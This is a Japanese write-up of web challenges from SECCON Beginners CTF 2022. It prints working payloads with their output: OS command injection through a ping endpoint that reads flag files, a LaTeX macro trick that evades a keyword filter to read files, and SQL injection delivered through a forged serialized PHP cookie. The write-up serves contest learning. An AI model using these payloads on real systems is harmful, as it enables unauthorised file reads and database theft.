[SECCON Beginners CTF 2022] My own writeup

Posted on Jun 5, 2022

SECCON Beginners CTF 2022がSat, June 04, 14:00 — Sun, June 05, 14:00 (JST)の日程で開催されました. 今回はgaidailove(研究室の同期チーム)として参加しました. 最終的には654ポイント獲得し, 131/891位でした.

latex

僕はwebを解いていたので, そのwriteupを以下に記します.

[web] Util

配布ファイルmain.goの以下の部分に脆弱性があります. コマンドに任意の文字列を挿入できるので, OSコマンドインジェクションが可能です.

r.POST("/util/ping", func(c *gin.Context) {
    var param IP
    if err := c.Bind(&param); err != nil {
        c.JSON(400, gin.H{"message": "Invalid parameter"})
        return
    }

    commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
    result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

    c.JSON(200, gin.H{
        "result": string(result),
    })
})

また, flagは/flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txtにあることがDockerfileよりわかります.

...
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
...

まずはflagが書かれているファイル名を特定します. 以下より /flag_A74FIBkN9sELAjOc.txt にflagが書かれていることがわかります.

$ curl -X POST -H "Content-Type: application/json" -d '{"Address":";ls -la /flag*"}' https://util.quals.beginners.seccon.jp/util/ping 
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\n-rw-r--r--    1 root     root            25 Jun  3 14:13 /flag_A74FIBkN9sELAjOc.txt\n"}%      

次に, catコマンドでファイルの内容を出力します. flagはctf4b{al1_0vers_4re_i1l}であることがわかります.

$ curl -X POST -H "Content-Type: application/json" -d '{"Address":";cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping 
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\nctf4b{al1_0vers_4re_i1l}\n"}% 

[web] textex

LatexからPDFを生成するwebアプリケーションが与えられます.

latex

flagは/var/www/以下にあることがDockerfileからわかります. また, このアプリケーションのバックエンドサーバも/var/www/で実行されています.

まずflagのファイルを読み込むことを考えますが, app.pyの以下の部分よりflagという文字列を使用することはできないので工夫が必要です.

try:
    # No flag !!!!
    print(tex_code.lower())
    if "flag" in tex_code.lower():
        tex_code = ""
    # Write tex code to file.
    with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
        f.write(tex_code)
    # Create pdf from tex.
    subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)

最終的には以下のLatexコードを用いてflagを出力することができました.

\documentclass{article}
\usepackage{verbatim}
\begin{document}

\def\a{fla}
\def\b{g}
\verbatiminput{\a\b}

\end{document}

latex

余談 : ローカルでDockerコンテナを用いて動作確認をしていた時は\input{\a\b}などでflagを出力できましたが, リモートではそれができなくて一生泣いていました. しかし, 作問者の方のwriteupを見るとこれは想定挙動だったようです.

[web] gallery

拡張子を指定してファイルの一覧が閲覧できるwebアプリケーションが与えられます.

latex

https://gallery.quals.beginners.seccon.jp/?file_extension=flaなどをGETするとflagが入ったファイルが表示されます. flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfにflagが含まれていることがわかります.

$ curl "https://gallery.quals.beginners.seccon.jp/?file_extension=fla" | grep "flag"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2617    0  2617    0     0  17682      0 --:--:-- --:--:-- --:--:-- 17682
                            <a class="list-group-item list-group-item-action" href="/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf">flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf</a>

しかし, レスポンスにサイズ制限がありflagが得ることができません. サイズが10240を超える場合は, サイズ分の?がレスポンスとして返されます.

func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	log.Println(length)
	// log.Println(bytes.Repeat(filledVal, length))
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}
	w.ResponseWriter.Write(data[:length])
	return length, nil
}
...
func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}

実際にflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfをGETすると, 以下のレスポンスが返ります.

$ curl "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf"                                                
??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
...

HTTPにはRange Requestsというものがあり, リスエストヘッダにRange: bytes=0-499などを指定すると, 指定されたバイト範囲がダウンロードされるようです(知らなかった).

以下のように, 2回に分けてファイルをダウンロードすることでサイズ制限である10240を突破します.

$ curl -H "Range: bytes=0-10000" "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf" > hoge.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10001    0 10001    0     0  60981      0 --:--:-- --:--:-- --:--:-- 60981

$ curl -H "Range: bytes=10001-16085" "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf" >> hoge.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6084    0  6084    0     0  41671      0 --:--:-- --:--:-- --:--:-- 41671

PDFが無事に分割ダウンロードできました.

latex

[web] serial

ユーザー登録をして, タスクが管理できるwebアプリケーションが与えられます. serial

ユーザー登録をすると, Userクラスのインスタンスがシリアライズ+base64エンコードされた形でCOOKIEに__CREDとして保存されます.

class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

   ...
}

...
$name = $_POST['name'];
$pass = password_hash($_POST['pass'], PASSWORD_DEFAULT);
$user = new User(-1, $name, $pass);

try {
    $db = new Database();
    $db->insertUser($user);

    $user = $db->findUserByName($user);
    if (!$user->isValid()) {
        throw new Exception("invalid user: " . $user->__toString());
    }
} catch (Exception $e) {
    var_dump($e->getMessage());
}

setcookie("__CRED", base64_encode(serialize($user)));
...

この__CREDはCOOKIEであるため任意の値に編集することができます. またnameプロパティは以下のSQLクエリに挿入されるため, SQLインジェクションが可能です.

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
    throw new Exception('failed query for findUserByNameOld ' . $sql);
}

while ($row = $result->fetch_assoc()) {
    $user = new User($row['id'], $row['name'], $row['password_hash']);
}

具体的には以下のようなクエリを組み立てて, flagを得ることを目指します(以下はローカルでの実験).

mysql> SELECT id, name, password_hash FROM users WHERE name = '' UNION SELECT body, body, "hoge" FROM flags;--  LIMIT 1;
+----------------------+----------------------+---------------+
| id                   | name                 | password_hash |
+----------------------+----------------------+---------------+
| ctf4b{dummy flag!!!} | ctf4b{dummy flag!!!} | hoge          |
+----------------------+----------------------+---------------+
1 row in set (0.00 sec)

したがって, 以下をCOOKIEの__CREDとします.

O:4:"User":3:{s:2:"id";s:1:"5";s:4:"name";s:48:"' UNION SELECT body, body, "hoge" FROM flags;-- ";s:13:"password_hash";s:4:"hoge";}7...

これをbase64にエンコードして送信します.

$ curl -vv -b '__CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjUiO3M6NDoibmFtZSI7czo0ODoiJyBVTklPTiBTRUxFQ1QgYm9keSwgYm9keSwgImhvZ2UiIEZST00gZmxhZ3M7LS0gIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjQ6ImhvZ2UiO303Li4u' https://serial.quals.beginners.seccon.jp
...
> GET / HTTP/1.1
> Host: serial.quals.beginners.seccon.jp
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: __CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjUiO3M6NDoibmFtZSI7czo0ODoiJyBVTklPTiBTRUxFQ1QgYm9keSwgYm9keSwgImhvZ2UiIEZST00gZmxhZ3M7LS0gIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjQ6ImhvZ2UiO303Li4u
> 
< HTTP/1.1 200 OK
< Server: nginx/1.21.6
< Date: Sat, 04 Jun 2022 23:35:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 2559
< Connection: keep-alive
< Set-Cookie: __CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQzOiJjdGY0YntTZXIxNGxpejR0MTBuXzE1X3YxcnR1YWxseV9wbDQxbnRleHR9IjtzOjQ6Im5hbWUiO3M6NDM6ImN0ZjRie1NlcjE0bGl6NHQxMG5fMTVfdjFydHVhbGx5X3BsNDFudGV4dH0iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NDoiaG9nZSI7fQ%3D%3D

再度セットされた__CREDをbase64デコードすると, flagが格納されています.

flag

[web] Ironhand

解けませんでした. JWTが使われているもののjwt_toolで調査をした限り, 脆弱な使い方はされていない印象を受けました. そのため, Template InjectionやLFIを疑いましたが, 具体的な攻撃に繋げられませんでした. 公式のwriteupや他の方のwriteupを見るのが楽しみです.

感想

web問は去年のctf4bより難しかった気がしました. ひと工夫が必要な難しい問題ばかりで楽しかったです.